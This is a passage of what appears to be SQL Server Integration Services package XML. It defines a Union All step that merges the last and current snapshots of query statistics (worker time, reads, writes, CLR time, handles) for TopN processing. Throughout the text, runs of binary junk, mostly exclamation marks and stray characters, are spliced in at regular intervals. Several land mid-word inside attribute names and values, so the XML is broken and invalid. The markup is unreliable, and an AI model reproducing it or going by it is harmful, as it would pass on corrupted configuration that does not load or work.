Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 2].Columns[collection_time]" cachedDataType="dbTimeStamp" cachedName="collection_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source	!!!!!!!!!!!!!!!!!!!!!!!!`&='|!xHv Output].Columns[collection_time]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[collection_time]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 2].Columns[sql_handle]" cachedDataType="bytes" cachedLength="64" cachedName="sql_handle" cachedSortKeyPosition="1" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[sql_handle]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[sql_handle]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 2].Columns[plan_handle]" cachedDataType="bytes" cachedLength="64" cachedName="plan_handle" cachedSortKeyPosition="2" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\ODS - Get current snapshot of dm_exec_query_stats.Outputs[OLE DB Source Output].Columns[plan_handle]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[plan_handle]}</property></properties></inputColumn></inputColumns><externalMetadataColumns/></input><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 3]" hasSideEffects="true" name="Union All Input 3"><inputColumns><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 3].Columns[statement_start_offset]" cachedDataType="i4" cachedName="statement_start_offset" cachedSortKeyPosition="3" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[statement_start_offset]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[statement_start_offset]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 3].Columns[statement_end_offset]" cachedDataTy	!!!!!!!!!!!!!!!!!!!!!!!!`'=	gHvpe="i4" cachedName="statement_end_offset" cachedSortKeyPosition="4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[statement_end_offset]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[statement_end_offset]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 3].Columns[plan_generation_num]" cachedDataType="i8" cachedName="plan_generation_num" cachedSortKeyPosition="5" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[plan_generation_num]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[plan_generation_num]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 3].Columns[creation_time]" cachedDataType="dbTimeStamp" cachedName="creation_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[creation_time]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[creation_time]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 3].Columns[last_execution_time]" cachedDataType="dbTimeStamp" cachedName="last_execution_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[last_execution_time]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[last_execution_time]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 3].Columns[execution_count]" cachedDataType="i8" cachedName="execution_count" lineageId="Package\SEQ - Capture and analyze query statistics and 	!!!!!!!!!!!!!!!!!!!!!!!!`(>lAHvquery plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[execution_count]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[execution_count]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 3].Columns[total_worker_time]" cachedDataType="i8" cachedName="total_worker_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[total_worker_time]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[total_worker_time]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 3].Columns[total_physical_reads]" cachedDataType="i8" cachedName="total_physical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[total_physical_reads]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[total_physical_reads]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 3].Columns[total_logical_writes]" cachedDataType="i8" cachedName="total_logical_writes" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[total_logical_writes]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[total_logical_writes]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 3].Columns[total_logical_reads]" cachedDataType="i8" cachedName="total_logical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[to	!!!!!!!!!!!!!!!!!!!!!!!!`)>9Hvtal_logical_reads]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[total_logical_reads]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 3].Columns[total_clr_time]" cachedDataType="i8" cachedName="total_clr_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[total_clr_time]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[total_clr_time]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 3].Columns[total_elapsed_time]" cachedDataType="i8" cachedName="total_elapsed_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[total_elapsed_time]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[total_elapsed_time]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 3].Columns[max_worker_time]" cachedDataType="i8" cachedName="max_worker_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[max_worker_time]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[max_worker_time]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 3].Columns[min_worker_time]" cachedDataType="i8" cachedName="min_worker_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[min_worker_time]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statis	!!!!!!!!!!!!!!!!!!!!!!!!`*>	lHvtics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[min_worker_time]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 3].Columns[min_physical_reads]" cachedDataType="i8" cachedName="min_physical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[min_physical_reads]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[min_physical_reads]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 3].Columns[max_physical_reads]" cachedDataType="i8" cachedName="max_physical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[max_physical_reads]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[max_physical_reads]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 3].Columns[min_logical_writes]" cachedDataType="i8" cachedName="min_logical_writes" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[min_logical_writes]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[min_logical_writes]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 3].Columns[max_logical_writes]" cachedDataType="i8" cachedName="max_logical_writes" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[max_logical_writes]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].C	!!!!!!!!!!!!!!!!!!!!!!!!`+>
;]Hvolumns[max_logical_writes]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 3].Columns[min_logical_reads]" cachedDataType="i8" cachedName="min_logical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[min_logical_reads]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[min_logical_reads]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 3].Columns[max_logical_reads]" cachedDataType="i8" cachedName="max_logical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[max_logical_reads]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[max_logical_reads]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 3].Columns[min_clr_time]" cachedDataType="i8" cachedName="min_clr_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[min_clr_time]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[min_clr_time]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 3].Columns[max_clr_time]" cachedDataType="i8" cachedName="max_clr_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[max_clr_time]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[max_clr_time]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combin	!!!!!!!!!!!!!!!!!!!!!!!!`,>KHve last and current snapshots for TopN processing.Inputs[Union All Input 3].Columns[min_elapsed_time]" cachedDataType="i8" cachedName="min_elapsed_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[min_elapsed_time]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[min_elapsed_time]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 3].Columns[max_elapsed_time]" cachedDataType="i8" cachedName="max_elapsed_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[max_elapsed_time]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[max_elapsed_time]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 3].Columns[snapshot_id]" cachedDataType="i4" cachedName="snapshot_id" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[snapshot_id]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[snapshot_id]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 3].Columns[collection_time]" cachedDataType="dbTimeStamp" cachedName="collection_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[collection_time]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[collection_time]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 3].Columns[sql_handle]" cachedDataType="bytes" cachedLength="64" cachedName="sql_handle" cachedSortKeyPosition="1" lineageId="Package\SEQ -	!!!!!!!!!!!!!!!!!!!!!!!!`->!|#Hv Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[sql_handle]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[sql_handle]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 3].Columns[plan_handle]" cachedDataType="bytes" cachedLength="64" cachedName="plan_handle" cachedSortKeyPosition="2" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[plan_handle]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[plan_handle]}</property></properties></inputColumn></inputColumns><externalMetadataColumns/></input><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Inputs[Union All Input 1]" dangling="true" hasSideEffects="true" name="Union All Input 1"><externalMetadataColumns/></input></inputs><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1]" name="Union All Output 1"><outputColumns><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[statement_start_offset]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[statement_start_offset]" name="statement_start_offset"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[statement_end_offset]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[statement_end_offset]" name="statement_end_offset"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[plan_generation_num]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[plan_generation_num]" name="plan_generation_num"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and quer	!!!!!!!!!!!!!!!!!!!!!!!!`.>gBNHvy plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[creation_time]" dataType="dbTimeStamp" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[creation_time]" name="creation_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[last_execution_time]" dataType="dbTimeStamp" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[last_execution_time]" name="last_execution_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[execution_count]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[execution_count]" name="execution_count"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[total_worker_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[total_worker_time]" name="total_worker_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[total_physical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[total_physical_reads]" name="total_physical_reads"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[total_logical_writes]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[total_logical_writes]" name="total_logical_writes"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[total_logical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[total_logical_reads]" name="total_logical_reads"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.O	!!!!!!!!!!!!!!!!!!!!!!!!`/><Hvutputs[Union All Output 1].Columns[total_clr_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[total_clr_time]" name="total_clr_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN processing.Outputs[Union All Output 1].Columns[total_elapsed_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine last and current snapshots for TopN 